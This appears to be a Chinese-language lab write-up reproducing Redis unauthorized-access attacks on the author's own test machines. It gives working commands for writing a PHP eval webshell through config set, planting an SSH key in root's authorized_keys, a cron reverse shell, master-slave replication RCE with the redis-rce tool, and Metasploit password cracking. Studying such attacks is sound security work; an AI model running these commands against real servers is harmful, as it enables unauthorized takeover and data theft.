0%

redis未授权

reids未授权访问复现

环境搭建请参考https://www.cnblogs.com/bmjoker/p/9548962.html

redis是什么?

1
Redis是一个开源的内存数据结构存储系统,常用作数据库、缓存和消息中间件。它支持多种数据结构,包括字符串、哈希表、列表、集合、有序集合等,提供了丰富的操作命令,可以进行原子性的操作,支持持久化和复制等高级功能,同时具有高性能、高可用性和可扩展性等优点。Redis通常用于高性能、高并发的Web应用程序、实时系统和分布式系统中,是一个非常流行的数据存储和缓存解决方案。

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

简单说,漏洞的产生条件有以下两点:

1
2
(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。

危害:

1
2
3
(1)攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;
(2)攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件;
(3)最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器

复现

搭建好环境过后,靶机启动redis服务,攻击机与其进行交互

img

img

可以看到该redis服务对公网开放,并且没有启用认证

攻击方式1:利用redis写webshell

利用前提:

1
2
3
1.靶机redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证
2.开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限
(我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件。)

由于是本地搭建,我们已经知道了路径,所以直接写就行

img

\r\n\r\n代表换行的意思,用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。

靶机验证

img

1
2
3
4
5
6
config set dir /home/ycx/redis/redis-2.8.17# 修改靶机Redis数据库路径
config set dbfilename 22.php #生成22.php文件
set xxx "\r\n\r\n<?php phpinfo();?>\r\n\r\n"#将一句话木马写入文件中
#"\r\n\r\n"是换行的意思,用redis写入文件会自带一些版本信息,如果不换行可能导致无法执行。
set xxx "\r\n\r\n<?php eval($_POST[whoami]);?>\r\n\r\n"#上传木马可以通过蚁剑连接(前提是靶机开启了web服务)
save#保存

我Ubuntu没有安装web服务,就不演示执行效果了

攻击方式2:利用公私钥认证获得root权限

当redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。

靶机中开启redis服务:redis-server /etc/redis.conf

在靶机中执行 mkdir /root/.ssh 命令,创建ssh公钥存放目录(靶机是作为ssh服务器使用的)

在攻击机中生成ssh公钥和私钥,密码设置为空:

img

进入.ssh目录:cd .ssh/,将生成的公钥保存到1.txt:

img

链接靶机上的redis服务,

将保存ssh的公钥1.txt写入redis(使用redis-cli -h ip命令连接靶机,将文件写入):

img

远程登录靶机的redis服务:redis-cli -h 192.168.0.104

并使用 CONFIG GET dir 命令得到redis备份的路径

更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)

设置上传公钥的备份文件名字为authorized_key

img

至此成功写入ssh公钥到靶机

使用公钥免密登录靶机

img

攻击方式3:计划任务反弹shell

权限足够的情况下,利用redis写入文件到计划任务目录下执行。

首先我们需要定位到我们需要的文件路径下,因为在/var/spool/cron/crontabs/下如果文件名是root,那么会定时执行里面的命令。这个目录不同操作系统是不一样我的是debain的。具体步骤如下:

img

按理来说下载就可以反弹shell了,但是解决了很多错误之后依旧无法成功,最后查了一下好像是因为乱码的问题

img

手动删除后也无法成功

**总结:**计时任务反弹shell 如果是ubuntu和debian操作系统这个就没有办法利用成功,centos操作系统是可以的利用的

攻击方式4:利用redis主从复制反弹shell

主从复制

Redis主从复制是一种数据复制机制,它允许将一个Redis服务器的数据复制到多个Redis从服务器中。在主从复制中,一个Redis服务器充当主服务器,而其他Redis服务器则充当从服务器。主服务器将写操作的数据同步到从服务器,从服务器只能读取数据,不能写入数据。

当主服务器接收到写操作时,它将同步写入所有从服务器,从而确保所有服务器的数据一致。这种机制可以提高Redis的可伸缩性和可用性,因为从服务器可以处理读操作,从而减轻主服务器的负载。

主从复制也可以用于数据备份、故障转移和负载均衡。如果主服务器出现故障,从服务器可以自动接管主服务器的工作,从而确保Redis服务的可用性。如果需要扩展读取性能,可以增加从服务器来处理更多的读操作。

复现(redis版本需要是4.x或者5.x)

由于换版本一直出现问题,我使用windows来作为靶机(这个过程真的很艰辛)

容易踩的坑:Windows防火墙没有放行6379端口, redis.windows.conf里面的bind设置为了127.0.0.1,需要改为:0.0.0.0

启动命令为:redis-server.exe redis.windows.conf

1
2
3
4
5
6
7
8
9
10
11
12
第一步:git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
#下载RedisModules-ExecuteCommand
第二步:git clone https://github.com/Ridter/redis-rce
#下载redis-rce
第三步:cd RedisModules-ExecuteCommand
第四步:make
#进入RedisModules-ExecuteCommand 使用make进行编译
第五步:mv module.so /root/redis-rce
#编译之后将module.so移到redis-rce
第六步:cd /root/redis-rce
第七步:python3 redis-rce.py -r 192.168.3.207 -L 192.168.3.231 -f module.so
#进入到redis-rce 执行命令,-r是目标IP -L是攻击机ip

img

i: 交互式shell ,r: 反弹shell

利用msf破解redis密码

1
2
3
4
5
6
msfdb run#开启msf
search redis#查看有关redis的模块
use 5#选择5号模块
show options #展示需要设置的参数
set RHOST 192.168.3.207 #设置靶机的ip
run #运行模块